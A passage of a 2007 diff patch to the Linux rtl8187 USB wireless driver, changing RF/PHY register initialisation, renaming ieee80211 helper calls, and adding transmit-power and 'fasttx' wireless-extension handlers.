write_rtl8225(dev, 0x5, 0xc72);mdelay(1); // } - + write_rtl8225(dev, 0x6, 0xe6); mdelay(1); write_rtl8225(dev, 0x7, ((priv->card_type == USB)? 0x82a : rtl8225_chan[channel])); mdelay(1); @@ -653,28 +680,28 @@ write_rtl8225(dev, 0xe, 0x2b); mdelay(1); - write_rtl8225(dev, 0xf, 0x114); - - + write_rtl8225(dev, 0xf, 0x114); + + mdelay(100); - - + + //if(priv->card_type != USB) /* maybe not needed even for 8185 */ -// write_rtl8225(dev, 0x7, rtl8225_chan[channel]); - +// write_rtl8225(dev, 0x7, rtl8225_chan[channel]); + write_rtl8225(dev, 0x0, 0x1b7); - + for(i=0;i<95;i++){ write_rtl8225(dev, 0x1, (u8)(i+1)); - + #if 0 - if(priv->phy_ver == 1) + if(priv->phy_ver == 1) /* version A */ write_rtl8225(dev, 0x2, rtl8225a_rxgain[i]); else #endif /* version B & C & D*/ - + write_rtl8225(dev, 0x2, rtl8225z2_rxgain[i]); } write_rtl8225(dev, 0x3, 0x80); @@ -683,16 +710,16 @@ write_rtl8225(dev, 0x0, 0xb7); write_rtl8225(dev, 0x2, 0xc4d); - + if(priv->card_type == USB){ // force_pci_posting(dev); mdelay(200); - + write_rtl8225(dev, 0x2, 0x44d); - + // force_pci_posting(dev); mdelay(100); - + }//End of if(priv->card_type == USB) /* FIXME!! rtl8187 we have to check if calibrarion * is successful and eventually cal. again (repeat @@ -713,23 +740,23 @@ } } //force_pci_posting(dev); - - mdelay(200); //200 for 8187 - - + + mdelay(200); //200 for 8187 + + // //if(priv->card_type != USB){ // write_rtl8225(dev, 0x2, 0x44d); // write_rtl8225(dev, 0x7, rtl8225_chan[channel]); // write_rtl8225(dev, 0x2, 0x47d); -// +// // force_pci_posting(dev); // mdelay(100); -// +// // write_rtl8225(dev, 0x2, 0x44d); // //} - - write_rtl8225(dev, 0x0, 0x2bf); - + + write_rtl8225(dev, 0x0, 0x2bf); + if(priv->card_type != USB) rtl8185_rf_pins_enable(dev); //set up ZEBRA AGC table, 2005.11.17, @@ -744,20 +771,20 @@ mdelay(1); } -#if 0 +#if 0 for(i=0;i<128;i++){ write_phy_ofdm(dev, 0xb, rtl8225_agc[i]); - - mdelay(1); + + mdelay(1); write_phy_ofdm(dev, 0xa, (u8)i+ 0x80); - - mdelay(1); + + mdelay(1); } #endif - + force_pci_posting(dev); mdelay(1); - + write_phy_ofdm(dev, 0x0, 0x1); mdelay(1); write_phy_ofdm(dev, 0x1, 0x2); mdelay(1); write_phy_ofdm(dev, 0x2, ((priv->card_type == USB)? 0x42 : 0x62)); mdelay(1); @@ -771,20 +798,20 @@ write_phy_ofdm(dev, 0xa, 0x8); mdelay(1); - //write_phy_ofdm(dev, 0x18, 0xef); + //write_phy_ofdm(dev, 0x18, 0xef); // } //} write_phy_ofdm(dev, 0xb, 0x80); mdelay(1); write_phy_ofdm(dev, 0xc, 0x1);mdelay(1); - + //if(priv->card_type != USB) - write_phy_ofdm(dev, 0xd, 0x43); - + write_phy_ofdm(dev, 0xd, 0x43); + write_phy_ofdm(dev, 0xe, 0xd3);mdelay(1); - + #if 0 if(priv->card_8185 == 1){ if(priv->card_8185_Bversion) @@ -796,17 +823,17 @@ write_phy_ofdm(dev, 0xf, 0x38);mdelay(1); /*ver D & 8187*/ // } - + // if(priv->card_8185 == 1 && priv->card_8185_Bversion) // write_phy_ofdm(dev, 0x10, 0x04);/*ver B*/ // else write_phy_ofdm(dev, 0x10, 0x84);mdelay(1); /*ver C & D & 8187*/ - + write_phy_ofdm(dev, 0x11, 0x07);mdelay(1); /*agc resp time 700*/ - + // if(priv->card_8185 == 2){ /* Ver D & 8187*/ write_phy_ofdm(dev, 0x12, 0x20);mdelay(1); @@ -824,47 +851,46 @@ write_phy_ofdm(dev, 0x15, 0x40); mdelay(1); write_phy_ofdm(dev, 0x16, 0x0); mdelay(1); write_phy_ofdm(dev, 0x17, 0x40); mdelay(1); - + // if (priv->card_type == USB) // write_phy_ofdm(dev, 0x18, 0xef); - + write_phy_ofdm(dev, 0x18, 0xef);mdelay(1); - + write_phy_ofdm(dev, 0x19, 0x19); mdelay(1); write_phy_ofdm(dev, 0x1a, 0x20); mdelay(1); write_phy_ofdm(dev, 0x1b, 0x15);mdelay(1); - + write_phy_ofdm(dev, 0x1c, 0x4);mdelay(1); write_phy_ofdm(dev, 0x1d, 0xc5);mdelay(1); //2005.11.17, - + write_phy_ofdm(dev, 0x1e, 0x95);mdelay(1); write_phy_ofdm(dev, 0x1f, 0x75); mdelay(1); // } - + write_phy_ofdm(dev, 0x20, 0x1f);mdelay(1); write_phy_ofdm(dev, 0x21, 0x17);mdelay(1); - + write_phy_ofdm(dev, 0x22, 0x16);mdelay(1); // if(priv->card_type != USB) write_phy_ofdm(dev, 0x23, 0x80);mdelay(1); //FIXME maybe not needed // <> - + write_phy_ofdm(dev, 0x24, 0x46); mdelay(1); write_phy_ofdm(dev, 0x25, 0x00); mdelay(1); write_phy_ofdm(dev, 0x26, 0x90); mdelay(1); write_phy_ofdm(dev, 0x27, 0x88); mdelay(1); - + // <> Set init. gain to m74dBm. - rtl8225z2_set_gain(dev,4); - + write_phy_cck(dev, 0x0, 0x98); mdelay(1); write_phy_cck(dev, 0x3, 0x20); mdelay(1); write_phy_cck(dev, 0x4, 0x7e); mdelay(1); @@ -875,6 +901,9 @@ /* Ver C & D & 8187*/ write_phy_cck(dev, 0x8, 0x2e);mdelay(1); + write_phy_cck(dev, 0x9, 0x11);mdelay(1); + write_phy_cck(dev, 0xa, 0x17);mdelay(1); + write_phy_cck(dev, 0xb, 0x11);mdelay(1); write_phy_cck(dev, 0x10, ((priv->card_type == USB) ? 0x9b: 0x93)); mdelay(1); write_phy_cck(dev, 0x11, 0x88); mdelay(1); @@ -885,52 +914,59 @@ else #endif write_phy_cck(dev, 0x13, 0xd0); /* Ver C & D & 8187*/ - - write_phy_cck(dev, 0x19, 0x0); - write_phy_cck(dev, 0x1a, 0xa0); - write_phy_cck(dev, 0x1b, 0x8); - write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ - - write_phy_cck(dev, 0x41, 0x8d);mdelay(1); - +// write_phy_cck(dev, 0x19, 0x0); +// write_phy_cck(dev, 0x1a, 0xa0); +// write_phy_cck(dev, 0x1b, 0x8); +// write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ + write_phy_cck(dev, 0x19, 0x0); mdelay(1); + write_phy_cck(dev, 0x1a, 0xa0); mdelay(1); + write_phy_cck(dev, 0x1b, 0x8); mdelay(1); + write_phy_cck(dev, 0x1d, 0x0); mdelay(1); + write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ mdelay(1); + write_phy_cck(dev, 0x41, 0x86); mdelay(1); + + +// write_phy_cck(dev, 0x41, 0x8d);mdelay(1); + + write_phy_cck(dev, 0x42, 0x15); mdelay(1); write_phy_cck(dev, 0x43, 0x18); mdelay(1); - - + + write_phy_cck(dev, 0x44, 0x36); mdelay(1); write_phy_cck(dev, 0x45, 0x35); mdelay(1); write_phy_cck(dev, 0x46, 0x2e); mdelay(1); write_phy_cck(dev, 0x47, 0x25); mdelay(1); write_phy_cck(dev, 0x48, 0x1c); mdelay(1); write_phy_cck(dev, 0x49, 0x12); mdelay(1); - write_phy_cck(dev, 0x4a, 0x9); mdelay(1); - write_phy_cck(dev, 0x4b, 0x4); mdelay(1); + write_phy_cck(dev, 0x4a, 0x09); mdelay(1); + write_phy_cck(dev, 0x4b, 0x04); mdelay(1); write_phy_cck(dev, 0x4c, 0x5);mdelay(1); write_nic_byte(dev, 0x5b, 0x0d); mdelay(1); - + // <> // // TESTR 0xb 8187 // write_phy_cck(dev, 0x10, 0x93);// & 0xfb); -// +// // //if(priv->card_type != USB){ // write_phy_ofdm(dev, 0x2, 0x62); // write_phy_ofdm(dev, 0x6, 0x0); // write_phy_ofdm(dev, 0x8, 0x0); // //} - + rtl8225z2_SetTXPowerLevel(dev, channel); - + write_phy_cck(dev, 0x10, 0x9b); mdelay(1); /* Rx ant A, 0xdb for B */ write_phy_ofdm(dev, 0x26, 0x90); mdelay(1); /* Rx ant A, 0x10 for B */ - + rtl8185_tx_antenna(dev, 0x3); /* TX ant A, 0x0 for B */ - - /* switch to high-speed 3-wire + + /* switch to high-speed 3-wire * last digit. 2 for both cck and ofdm */ if(priv->card_type == USB) @@ -943,23 +979,23 @@ // if(priv->card_type != USB) // rtl8225_set_gain(dev, 4); /* FIXME this '1' is random */ // <> // rtl8225_set_mode(dev, 1); /* FIXME start in B mode */ // <> -// +// // /* make sure is waken up! */ // write_rtl8225(dev,0x4, 0x9ff); -// rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); +// rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); // rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8225_rf_set_chan(dev, priv->chan); //write_nic_word(dev,BRSR,brsr); - + //rtl8225z2_rf_set_mode(dev); } -void rtl8225z2_rf_set_mode(struct net_device *dev) +void rtl8225z2_rf_set_mode(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(priv->ieee80211->mode == IEEE_A) { write_rtl8225(dev, 0x5, 0x1865); @@ -970,15 +1006,15 @@ write_phy_ofdm(dev, 0xb, 0x99); write_phy_ofdm(dev, 0xf, 0x20); write_phy_ofdm(dev, 0x11, 0x7); - + rtl8225z2_set_gain(dev,4); - + write_phy_ofdm(dev,0x15, 0x40); write_phy_ofdm(dev,0x17, 0x40); - + write_nic_dword(dev, 0x94,0x10000000); }else{ - + write_rtl8225(dev, 0x5, 0x1864); write_nic_dword(dev, RF_PARA, 0x10044); write_nic_dword(dev, RF_TIMING, 0xa8008); @@ -987,12 +1023,12 @@ write_phy_ofdm(dev, 0xb, 0x99); write_phy_ofdm(dev, 0xf, 0x20); write_phy_ofdm(dev, 0x11, 0x7); - + rtl8225z2_set_gain(dev,4); - + write_phy_ofdm(dev,0x15, 0x40); write_phy_ofdm(dev,0x17, 0x40); - + write_nic_dword(dev, 0x94,0x04000002); } } diff -Naur rtl8187_orig/beta-8187/r8180_wx.c rtl8187_rawtx/beta-8187/r8180_wx.c --- rtl8187_orig/beta-8187/r8180_wx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_wx.c 2007-06-21 23:44:42.000000000 +0200 @@ -1,19 +1,19 @@ -/* +/* This file contains wireless extension handlers. This is part of rtl8180 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part + + Parts of this driver are based on the GPL part of the official realtek driver. - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver. - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -21,20 +21,21 @@ #include "r8187.h" #include "r8180_hw.h" +#include "r8180_rtl8225.h" #define RATE_COUNT 4 u32 rtl8180_rates[] = {1000000,2000000,5500000,11000000, 6000000,9000000,12000000,18000000,24000000,36000000,48000000,54000000}; - + static int r8180_wx_get_freq(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_freq(priv->ieee80211,a,wrqu,b); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_freq_rtl7(priv->ieee80211,a,wrqu,b); } @@ -45,28 +46,28 @@ { int *parms = (int *)b; int bi = parms[0]; - - struct r8180_priv *priv = ieee80211_priv(dev); - + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); DMESG("setting beacon interval to %x",bi); - + priv->ieee80211->beacon_interval=bi; rtl8180_commit(dev); up(&priv->wx_sem); - - return 0; + + return 0; } static int r8180_wx_set_forceassociate(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); int *parms = (int *)extra; - + priv->ieee80211->force_associate = (parms[0] > 0); - + return 0; } @@ -75,108 +76,186 @@ static int r8180_wx_get_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); - return ieee80211_wx_get_mode(priv->ieee80211,a,wrqu,b); + return ieee80211_wx_get_mode_rtl7(priv->ieee80211,a,wrqu,b); } -static int r8180_wx_get_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_rate(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_rate_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_set_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); + ret = ieee80211_wx_set_rate_rtl7(priv->ieee80211,info,wrqu,extra); - ret = ieee80211_wx_set_rate(priv->ieee80211,info,wrqu,extra); - up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_rawtx(struct net_device *dev, - struct iw_request_info *info, - union iwreq_data *wrqu, char *extra) +static int r8180_wx_get_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - int ret; - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i=0; down(&priv->wx_sem); - - ret = ieee80211_wx_set_rawtx(priv->ieee80211, info, wrqu, extra); - + wrqu->power.value = 0; + for(i=0; i<15; i++) + { + if(priv->chtxpwr[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr_ofdm[i]; + } + wrqu->power.fixed = 1; + wrqu->power.flags = IW_TXPOW_DBM; + wrqu->power.disabled = 0; up(&priv->wx_sem); - + + return 0; +} + +#if 1 +static int r8180_wx_set_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + int ret = 0, i=0; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + down(&priv->wx_sem); + + if (wrqu->power.flags != IW_TXPOW_DBM) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value > priv->txpwr_max) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value < 0) + { + ret = -EINVAL; + goto out; + } + + for(i=1;i<15;i++) + { + priv->chtxpwr[i] = priv->chtxpwr_orig[i] - (priv->txpwr_max - wrqu->power.value); + if(priv->chtxpwr[i] > priv->chtxpwr_orig[i]) priv->chtxpwr[i] = 0; + + priv->chtxpwr_ofdm[i] = priv->chtxpwr_ofdm_orig[i] - (priv->txpwr_max - wrqu->power.value); + if(priv->chtxpwr_ofdm[i] > priv->chtxpwr_ofdm_orig[i]) priv->chtxpwr_ofdm[i] = 0; + } + rtl8225z2_SetTXPowerLevel(dev, 1); + + out: + up(&priv->wx_sem); + return ret; - + } +#endif -static int r8180_wx_set_crcmon(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_crcmon(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = priv->crcmon; down(&priv->wx_sem); - - if(enable) + + if(enable) priv->crcmon=1; - else + else priv->crcmon=0; - DMESG("bad CRC in monitor mode are %s", + DMESG("bad CRC in monitor mode are %s", priv->crcmon ? "accepted" : "rejected"); if(prev != priv->crcmon && priv->up){ rtl8180_down(dev); rtl8180_up(dev); } - + up(&priv->wx_sem); - + + return 0; +} + +static int r8180_wx_set_fasttx(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int *parms = (int *)extra; + int enable = (parms[0] > 0); + short prev = priv->fasttx; + + down(&priv->wx_sem); + + if(enable) + priv->fasttx=1; + else + priv->fasttx=0; + + DMESG("Transmission method (regarding speed) set to: %s", + priv->fasttx ? "fast" : "normal"); + + if(prev != priv->fasttx && priv->up){ + rtl8180_down(dev); + rtl8180_up(dev); + } + + up(&priv->wx_sem); + return 0; } static int r8180_wx_set_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_mode(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_mode_rtl7(priv->ieee80211,a,wrqu,b); + rtl8187_set_rxconf(dev); - + up(&priv->wx_sem); return ret; } -static int rtl8180_wx_get_range(struct net_device *dev, - struct iw_request_info *info, +static int rtl8180_wx_get_range(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { struct iw_range *range = (struct iw_range *)extra; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u16 val; int i; @@ -186,26 +265,26 @@ /* Let's try to keep this struct in the same order as in * linux/include/wireless.h */ - + /* TODO: See what values we can set, and remove the ones we can't * set, or fill them with some default data. */ /* ~5 Mb/s real (802.11b) */ - range->throughput = 5 * 1000 * 1000; + range->throughput = 5 * 1000 * 1000; // TODO: Not used in 802.11b? // range->min_nwid; /* Minimal NWID we are able to set */ // TODO: Not used in 802.11b? // range->max_nwid; /* Maximal NWID we are able to set */ - + /* Old Frequency (backward compat - moved lower ) */ -// range->old_num_channels; +// range->old_num_channels; // range->old_num_frequency; // range->old_freq[6]; /* Filler to keep "version" at the same offset */ if(priv->rf_set_sens != NULL) range->sensitivity = priv->max_sens; /* signal level threshold range */ - + range->max_qual.qual = 100; /* TODO: Find real max RSSI and stick here */ range->max_qual.level = 0; @@ -219,14 +298,14 @@ range->avg_qual.updated = 7; /* Updated all three */ range->num_bitrates = RATE_COUNT; - + for (i = 0; i < RATE_COUNT && i < IW_MAX_BITRATES; i++) { range->bitrate[i] = rtl8180_rates[i]; } - + range->min_frag = MIN_FRAG_THRESHOLD; range->max_frag = MAX_FRAG_THRESHOLD; - + range->pm_capa = 0; range->we_version_compiled = WIRELESS_EXT; @@ -243,18 +322,18 @@ range->num_channels = 14; for (i = 0, val = 0; i < 14; i++) { - + // Include only legal frequencies for some countries if ((priv->challow)[i+1]) { range->freq[val].i = i + 1; - range->freq[val].m = ieee80211_wlan_frequencies[i] * 100000; + range->freq[val].m = ieee80211_wlan_frequencies_rtl7[i] * 100000; range->freq[val].e = 1; val++; } else { // FIXME: do we need to set anything for channels // we don't use ? } - + if (val == IW_MAX_FREQUENCIES) break; } @@ -267,15 +346,15 @@ static int r8180_wx_set_scan(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + if(!priv->up) return -1; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_scan(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } @@ -286,50 +365,50 @@ { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(!priv->up) return -1; - + down(&priv->wx_sem); - ret = ieee80211_wx_get_scan(priv->ieee80211,a,wrqu,b); - + ret = ieee80211_wx_get_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_essid(struct net_device *dev, +static int r8180_wx_set_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int ret; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_essid(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_essid_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } -static int r8180_wx_get_essid(struct net_device *dev, +static int r8180_wx_get_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_get_essid(priv->ieee80211, a, wrqu, b); + + ret = ieee80211_wx_get_essid_rtl7(priv->ieee80211, a, wrqu, b); up(&priv->wx_sem); - + return ret; } @@ -338,30 +417,30 @@ union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_freq(priv->ieee80211, a, wrqu, b); - + + ret = ieee80211_wx_set_freq_rtl7(priv->ieee80211, a, wrqu, b); + up(&priv->wx_sem); return ret; } -static int r8180_wx_get_name(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_name(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_name(priv->ieee80211, info, wrqu, extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_name_rtl7(priv->ieee80211, info, wrqu, extra); } -static int r8180_wx_set_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (wrqu->frag.disabled) priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; @@ -369,7 +448,7 @@ if (wrqu->frag.value < MIN_FRAG_THRESHOLD || wrqu->frag.value > MAX_FRAG_THRESHOLD) return -EINVAL; - + priv->ieee80211->fts = wrqu->frag.value & ~0x1; } @@ -377,11 +456,11 @@ } -static int r8180_wx_get_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); wrqu->frag.value = priv->ieee80211->fts; wrqu->frag.fixed = 0; /* no auto select */ @@ -397,49 +476,49 @@ char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_wap(priv->ieee80211,info,awrq,extra); - + + ret = ieee80211_wx_set_wap_rtl7(priv->ieee80211,info,awrq,extra); + up(&priv->wx_sem); return ret; - + } - -static int r8180_wx_get_wap(struct net_device *dev, - struct iw_request_info *info, + +static int r8180_wx_get_wap(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_wap(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_wap_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_get_enc(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_encode(priv->ieee80211, info, wrqu, key); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_encode_rtl7(priv->ieee80211, info, wrqu, key); } -static int r8180_wx_set_enc(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + DMESG("Setting SW wep key"); - ret = ieee80211_wx_set_encode(priv->ieee80211,info,wrqu,key); - + ret = ieee80211_wx_set_encode_rtl7(priv->ieee80211,info,wrqu,key); + up(&priv->wx_sem); return ret; } @@ -447,28 +526,28 @@ static int r8180_wx_set_scan_type(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *p){ - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms=(int*)p; int mode=parms[0]; - + priv->ieee80211->active_scan = mode; - + return 1; } -static int r8180_wx_set_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int err = 0; - + down(&priv->wx_sem); - - if (wrqu->retry.flags & IW_RETRY_LIFETIME || + + if (wrqu->retry.flags & IW_RETRY_LIFETIME || wrqu->retry.disabled){ err = -EINVAL; goto exit; @@ -485,13 +564,13 @@ if (wrqu->retry.flags & IW_RETRY_MAX) { priv->retry_rts = wrqu->retry.value; DMESG("Setting retry for RTS/CTS data to %d", wrqu->retry.value); - + }else { priv->retry_data = wrqu->retry.value; DMESG("Setting retry for non RTS/CTS data to %d", wrqu->retry.value); } - - /* FIXME ! + + /* FIXME ! * We might try to write directly the TX config register * or to restart just the (R)TX process. * I'm unsure if whole reset is really needed @@ -503,28 +582,28 @@ rtl8180_rtx_disable(dev); rtl8180_rx_enable(dev); rtl8180_tx_enable(dev); - + } */ exit: up(&priv->wx_sem); - + return err; } -static int r8180_wx_get_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + wrqu->retry.disabled = 0; /* can't be disabled */ - if ((wrqu->retry.flags & IW_RETRY_TYPE) == - IW_RETRY_LIFETIME) + if ((wrqu->retry.flags & IW_RETRY_TYPE) == + IW_RETRY_LIFETIME) return -EINVAL; - + if (wrqu->retry.flags & IW_RETRY_MAX) { wrqu->retry.flags = IW_RETRY_LIMIT & IW_RETRY_MAX; wrqu->retry.value = priv->retry_rts; @@ -533,30 +612,30 @@ wrqu->retry.value = priv->retry_data; } //DMESG("returning %d",wrqu->retry.value); - + return 0; } -static int r8180_wx_get_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - if(priv->rf_set_sens == NULL) + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(priv->rf_set_sens == NULL) return -1; /* we have not this support for this radio */ wrqu->sens.value = priv->sens; return 0; } -static int r8180_wx_set_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - - struct r8180_priv *priv = ieee80211_priv(dev); - + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + short err = 0; down(&priv->wx_sem); //DMESG("attempt to set sensivity to %ddb",wrqu->sens.value); @@ -571,7 +650,7 @@ exit: up(&priv->wx_sem); - + return err; } @@ -623,50 +702,49 @@ dummy, /* SIOCGIWRTS */ r8180_wx_set_frag, /* SIOCSIWFRAG */ r8180_wx_get_frag, /* SIOCGIWFRAG */ - dummy, /* SIOCSIWTXPOW */ - dummy, /* SIOCGIWTXPOW */ + r8180_wx_set_txpow, /* SIOCSIWTXPOW */ + r8180_wx_get_txpow, /* SIOCGIWTXPOW */ r8180_wx_set_retry, /* SIOCSIWRETRY */ r8180_wx_get_retry, /* SIOCGIWRETRY */ r8180_wx_set_enc, /* SIOCSIWENCODE */ r8180_wx_get_enc, /* SIOCGIWENCODE */ dummy, /* SIOCSIWPOWER */ dummy, /* SIOCGIWPOWER */ -}; +}; -static const struct iw_priv_args r8180_private_args[] = { - +static const struct iw_priv_args r8180_private_args[] = { { - SIOCIWFIRSTPRIV + 0x0, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" - }, - + SIOCIWFIRSTPRIV + 0x0, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "fasttx" + }, + { SIOCIWFIRSTPRIV + 0x1, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "activescan" - + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" }, + { - SIOCIWFIRSTPRIV + 0x2, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "rawtx" + SIOCIWFIRSTPRIV + 